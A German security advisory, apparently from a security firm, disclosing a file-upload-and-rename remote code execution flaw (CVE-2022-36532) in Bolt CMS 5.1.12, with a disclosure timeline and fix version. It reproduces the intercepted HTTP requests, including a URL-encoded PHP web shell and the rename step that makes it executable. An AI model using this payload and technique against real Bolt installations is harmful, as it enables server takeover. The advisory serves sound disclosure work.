Bolt ist ein auf PHP basierendes Content-Management-System, das eine leichtgewichtige Alternative zu Wordpress darstellt und besonders von Agenturen verwendet wird. Wir konnten in Version 5.1.12 eine Schwachstelle ausfindig machen, die es einem authentifizierten Benutzer mit den ROLE_EDITOR
-Rechten ermöglicht, eine Datei hochzuladen und umzubenennen, um Remote-Code-Execution zu erreichen.
Die Sicherheitslücke wurde in der Version 5.1.13 behoben.
Timeline
- 14.07.2022: Entdeckung der Sicherheitslücke und Weitergabe an das Bolt CMS-Team.
- 26.08.2022: Die Schwachstelle wurde vom Bolt CMS-Team behoben: Release 5.1.13.
- 05.09.2022: CVE-ID CVE-2022-36532 zugewiesen.
- 05.09.2022: Veröffentlichung dieses Artikels.
- 12.09.2022: Veröffentlichung des Proof-Of-Concept-Skripts.
Wir möchten uns bei @bobdenotter für die schnelle Behebung der Schwachstelle und die insgesamt sehr angenehme Zusammenarbeit bedanken.
Remote-Code-Execution mittels Dateiupload
Um die Schwachstelle auszunutzen und eine Remote-Code-Execution zu erreichen, wird ein Benutzeraccount mit den ROLE_EDITOR
Berechtigungen benötigt:
Dateien können innerhalb des CMS unter http://127.0.0.1:8000/bolt/filemanager/files hochgeladen werden. Allerdings sind nur bestimmte Dateierweiterungen wie .png
, .svg
, .txt
, etc. erlaubt.
Zum Beispiel kann eine .txt
-Datei mit PHP-Code (<?php $RESULT=7*7; echo $RESULT; ?>
) in das Verzeichnis files/
auf dem Server hochgeladen werden und unter http://127.0.0.1:8000/files/poc.txt darauf zugegriffen werden:
Da es sich um eine .txt
-Datei handelt, wird der darin enthaltene PHP-Code vom Server nicht ausgeführt.
Innerhalb des CMS gibt es keine Umbenennungsoption, aber wenn eine Datei bearbeitet wird, kann die HTTP-Anfrage abgefangen und manipuliert werden, um eine Datei umzubenennen. Dies kann ausgenutzt werden, um Remote-Code-Execution zu erreichen:
- Die hochgeladene Datei
poc.txt
kann in Bolt unter http://127.0.0.1:8000/bolt/file-edit/files?file=/poc.txt bearbeitet werden. Da wir die Datei nicht verändern wollen, können wir einfach auf “Save” klicken und die HTTP-Anfrage des Browser abfangen:
POST /bolt/file-edit/files?file=/poc.txt HTTP/1.1
Host: 127.0.0.1:8000
Content-Length: 243
...
Cookie: PHPSESSID=brgvh475o4ad65626vcs9ogjak
Connection: close
file=%2Fpoc.txt&location=files&_csrf_token=6f0a099f0e644f9dc.MPpzSbmHem8MICUL6JA_9JIONsNBGEp_15vNFZLnJuU.b78fJc6yTThPUE9T3tULjf1vUbY1TB8yns6eIf-PX69ZiTsNw8wyLHxJaA&editfile=%3C%3Fphp+echo+system%28%24_GET%5B%22cmd%22%5D%29+%3F%3E%0D%0A&save=
- Durch Ändern des Query-Parameters
file
von/poc.txt
in/poc.php
wird die Datei umbenannt.
POST /bolt/file-edit/files?file=/poc.php HTTP/1.1
Host: 127.0.0.1:8000
Content-Length: 243
...
Cookie: PHPSESSID=brgvh475o4ad65626vcs9ogjak
Connection: close
file=%2Fpoc.txt&location=files&_csrf_token=6f0a099f0e644f9dc.MPpzSbmHem8MICUL6JA_9JIONsNBGEp_15vNFZLnJuU.b78fJc6yTThPUE9T3tULjf1vUbY1TB8yns6eIf-PX69ZiTsNw8wyLHxJaA&editfile=%3C%3Fphp+echo+system%28%24_GET%5B%22cmd%22%5D%29+%3F%3E%0D%0A&save=
- Nach der Umbenennung der Datei wird der PHP-Code in der hochgeladenen Datei ausgeführt, wenn auf die Datei zugegriffen wird, indem man zu folgender URL navigiert: http://127.0.0.1:8000/files/poc.php.
Wir werden ein Proof-Of-Concept-Skript ab dem 12.09.2022 in unserem GitHub-Account unter lutrasecurity/CVE-2022-36532 zur Verfügung stellen, um die Schwachstelle nachvollziehen zu können.